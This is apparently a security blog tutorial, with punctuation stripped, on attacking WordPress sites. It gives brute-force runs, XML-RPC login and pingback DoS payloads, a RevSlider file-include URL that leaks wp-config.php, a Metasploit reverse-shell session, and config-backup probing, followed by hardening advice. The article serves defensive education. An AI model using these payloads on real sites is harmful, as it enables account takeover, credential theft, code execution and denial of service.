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description= Understand the techniques attackers use to break into WordPress sites. Use that knowledge to defend your site and stay secure.;
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nd it was decided to keep this response within the wordpress code 3 tools for popping weak passwords brute forcing accounts of users is possible using a number of open source tools additionally there is worm like scripts available that have spread through the wordpress ecosystem these search for and spread to wordpress sites with weak admin passwords wpscan the previously mentioned wpscan tool in addition to enumeration can also perform brute force login attacks here is an example output from a test i ran with wpscan against a low end digital ocean vps 5 month where i had installed a default installation of wordpress ruby wpscan rb u 192 241 xx x68 threads 20 wordlist 500worst txt username testadmin snip starting the password brute forcer brute forcing user testadmin with 500 passwords 100 complete finished at thu jul 18 03 39 02 2013 elapsed time 00 01 16 reviewing the output 500 passwords tested against the testadmin account discovered during user enumeration those 500 passwords were tested in 1 minute and 16 seconds as the test was running there was zero disruption to the site a web server administrator would have no idea the attack took place without a security log monitoring system in place ossec does this very well the 500 worst password list used above is from skull security the site has a large number of password lists including the well known rockyou list 60mb that contains many more than 500 passwords nmap nse script nmap the port scanner can do much more than find open ports recent versions of nmap come bundled with nse scripts as a result it can be used to test many different vulnerabilities for example enumerating users and brute forcing wordpress passwords below shows an example run using the http wordpress enum nse script to enumerate wordpress users nmap sv script http wordpress enum script args limit 25 port state service reason 80 tcp open http syn ack http wordpress enum username found admin username found testadmin username found fred username found alice username found bob _search stopped at id 25 increase the upper limit if necessary with http wordpress enum limit below are the results from brute forcing wordpress accounts using the http wordpress brute nse script port state service reason 80 tcp open http syn ack http wordpress brute accounts testadmin mys3curepass login correct statistics _ perfomed 113 guesses in 19 seconds average tps 6 burp suite for those familiar with web application security testing the burp suite intruder tool can also be used for brute forcing wordpress passwords a wordpress login attempt is only a http post request after all configure burp intruder to send a valid username or a list of usernames along with a list of possible passwords and wait for the successful login brute force login via xmlrpc php the xmlrpc php capability is an api endpoint this endpoint allows mobile apps and other programmable access to backend functions of the wordpress site such as publishing posts it is enabled by default several attacks are possible against the endpoint depending on permissions and the version of the target wordpress installation using the xmlrpc php endpoint to attack wordpress accounts we may bypass security plugins that protect the login form from abuse this password guessing attack may also be faster with the result being you can attempt more passwords notice the d in curl this is the data sent as part of the post request you could also use burp or your favorite scripting language for this request curl x post d methodcall methodname wp getusersblogs methodname params param value admin value param param value pass value param params methodcall http examplewp com xmlrpc php in the response we will see an invalid password response or success it is easy to spot and work into your script denial of service dos via xmlrpc php another use of the xmlrpc php endpoint is to perform a denial of service attack if this capability is enabled we can send a small request to the server and get it to respond with a full page of content to a target of our choosing the idea is to make multiple requests from different systems and get them all to target a single host potentially knocking it offline due to network congestion first we enumerate the capabilities of the xmlrpc php endpoint curl x post d methodcall methodname system listmethods methodname params params methodcall http examplewp com xmlrpc php the response will be a list of available methods xml version 1 0 encoding utf 8 methodresponse params param value array data value string system listmethods string value value string system getcapabilities string value value string pingback extensions getpingbacks string value value string pingback ping string value value string mt publishpost string value truncated note the pingback ping indicating pingback is enabled use the following data for the pingback attempt methodcall methodname pingback ping methodname params param value string http denial of service target portno string value param param value string http blog url from wp string value param params methodcall disabling access to xmlrpc php from your web server or using htaccess is recommended if you are not using the api not only will it block any attacks but it will also reduce the amount of noise in your logs from the bots attempting to hit these api endpoints exploit wordpress plugin plugins themes and wordpress core all contain a large amount of php code from developers around the world these developers have differing abilities and focus when it comes to writing secure software for this reason there are thousands of exploitable vulnerabilities available to an attacker updating plugins the wordpress core and themes must be a routine task for any wordpress administrator to ensure the known vulnerabilities are patched common vulnerabilities include xss sql injection file upload and code execution all of these can have devastating consequences to a wordpress site search through metasploit and exploit db com for exploitable wordpress bugs revslider example exploit an example of a wordpress plugin exploit is from a vulnerability discovered 5 years ago the vulnerable revslider plugin resulted in tens of thousands of compromised wordpress sites to this day there are attempts to exploit it in our web server logs even in 2019 one reason it was such a popular plugin is that it was bundled with many themes a number of exploitation opportunities are possible but this is perhaps the easiest to demonstrate exploitation is as difficult as loading this url in a browser https examplewp com wp admin admin ajax php action revslider_show_image img wp config php the http request would download the wp config php file from the vulnerable site if it had the exploitable version of revslider installed the exploit type is known as a local file include as the attacker is tricking the application code into including a sensitive file in the output the wp config php is not normally accessible and contains the database credentials for the wordpress database user with the database password an attacker could attempt to login as the wordpress admin using the same password if passwords were re used a more common attack vector would be to login to the phpmyadmin script if installed as this uses the database credentials if mysql is exposed it may even possible to directly connect to the database using a mysql database client and the leaked credentials access to the database provides the attacker options to reset the administrator password attempt to crack the admin hash modify content in the database adding malicious js or iframes there are many possibilities for further exploitation once the credentials in wp config php are leaked exploit wordpress theme example exploits are available from various places and forums this example uses an exploit from the popular metasploit exploitation framework the vulnerable theme is the very popular optimizepress the vulnerability was released back in 2013 and versions after 1 45 are not vulnerable to this exploit using standard metasploit commands we can load the module configure the options select a payload and exploit the result is shell access on the server with only a few minutes of work in this example the vulnerability type is a file upload vulnerability in media upload php of the theme by exploiting the vulnerability we can upload a php shell or other code giving us code execution a key point to remember here is identification of the plugins and themes is the first step in a targeted attack exploiting a wordpress site numerous bots and automated attack scripts that exploit wordpress sites do not perform the enumeration phase they propel exploits at thousands of sites and hope for a successful payload plugins and themes not enabled can be exploited scanning for default locations of those vulnerable files is a highly common attack by automated bots exploiting wordpress core vulnerabilities in wordpress core crop up from time to time while remote unauthenticated vulnerabilities are relatively rare any attacker would do well to be familiar with the more exploitable vulnerabilities in wordpress core the list of vulnerabilities on cvedetails com is a good indication and shows the severity of the discovered vulnerabilities has been much lower when compared to the state of things 5 years ago example exploiting cve 2019 8942 cve 2019 8943 using metasploit this example will demonstrate exploiting vulnerabilities present in wordpress versions detailed below is the standard metasploit exploitation process using the wp_crop_rce module the php meterpreter is a remote agent giving the attacker the ability to run commands and upload download files on the target system msf5 use exploit unix webapp wp_crop_rce msf5 exploit unix webapp wp_crop_rce set rhosts 127 0 0 1 rhosts 127 0 0 1 msf5 exploit unix webapp wp_crop_rce set username author username author msf5 exploit unix webapp wp_crop_rce set password author password author msf5 exploit unix webapp wp_crop_rce run started reverse tcp handler on 127 0 0 1 4444 authenticating with wordpress using author author authenticated with wordpress preparing payload checking crop library uploading payload image uploaded uploading payload image uploaded including into theme sending stage 38247 bytes to 127 0 0 1 meterpreter session 1 opened 127 0 0 1 4444 127 0 0 1 36568 at 2019 03 19 11 33 27 0400 meterpreter sysinfo computer ubuntu os linux ubuntu 4 15 0 46 generic 49 ubuntu smp wed feb 6 09 33 07 utc 2019 x86_64 meterpreter php linux unauthenticated content injection in wordpress 4 7 0 and 4 7 1 in this vulnerability from 2017 an attacker is able to inject content into a post using the wp json api wordpress 4 7 4 7 1 remote unauthenticated content injection sniff and capture credentials over non secure login without additional security measures in place tls ssl accessing the wp admin dashboard is over an unencrypted connection this means if you log in to your wordpress site on an unsecured network such as the wireless at your local coffee shop or airport your login and password to manage the site could be captured by an attacker watching your session in this example wireshark capture we clearly see the username and password captured in our post request to wp login php vulnerable server software testing the wordpress application itself is only one part of ensuring your web site is secure the server that hosts the website must also be kept secure exploitable security vulnerabilities can of course be present in server software or the operating system examples can be found on any vulnerability mailing list recently a remote code execution vulnerability was found in exim exim is one of the most popular mail delivery servers on the internet phpmyadmin is a popular application to attack due to its popularity and a long list of vulnerabilities server software misconfiguration even if no exploitable vulnerability is present a simple misconfiguration can leave a service vulnerable often security vulnerabilities are introduced simply through a misconfiguration by an overworked system administrator compromise systems administration tools a successful password guessing attack against a server management account will give an attacker full access to the server and the wordpress application services that can be attacked with brute force password guessing include ssh service mysql database service webmin server management cpanel or whcms web hosting control panels phpmyadmin database management application reduce the chance of management account compromise use strong passwords everywhere do not re use them move ssh to a different port use tls ssl for web based management services to prevent sniffing and credential compromise white list ip addresses that are able to connect to internet facing services content discovery content discovery is the process of attempting to find items of interest in a web path it applies to any web application but since we are attacking wordpress target it towards typical files and paths of interest in a wordpress installation for example curl https testwordsite com wp config php bak curl https testwordpressite com wp config php swp these two examples use curl to find a possible backup file of the wp config php file that we discussed earlier it contains sensitive information including database credentials the second attempt tries to download the backup file that vim automatically creates when it is editing a file a good reason not to edit files directly on your production sites using curl to perform this search task for hundreds or even thousands of common files could be accomplished with a little bit of scripting on the other hand more appropriate tools such as burp suite or gobuster a tool that is very fast due to its parallel processing will do a much better job there are many reasons why wordpress sites are attacked with standard maintenance you can significantly reduce the chance of an attack being successful do not be the low hanging fruit keep everything up to date keep regular backups perform basic hardening and test your security regularly get a professional wordpress assessment more info test yourself using openvas nikto nmap more info follow up post to this article defending wordpress with ossec tutorial on ossec ossec intro and installation guide pro testing available with our online port scanner find the holds scan all 65535 ports learn more vulnerability scans and network intelligence assess the risk and work on mitigation learn more previous top wordpress sites vulnerable 6 wks after plugin patch released next defending wordpress with ossec related articles update geoip data for splunk app top wordpress sites vulnerable 6 wks after plugin patch released set social engineering toolkit brief history of internet wide scanning about from attack surface discovery to vulnerability identification we host tools to make the job of securing your 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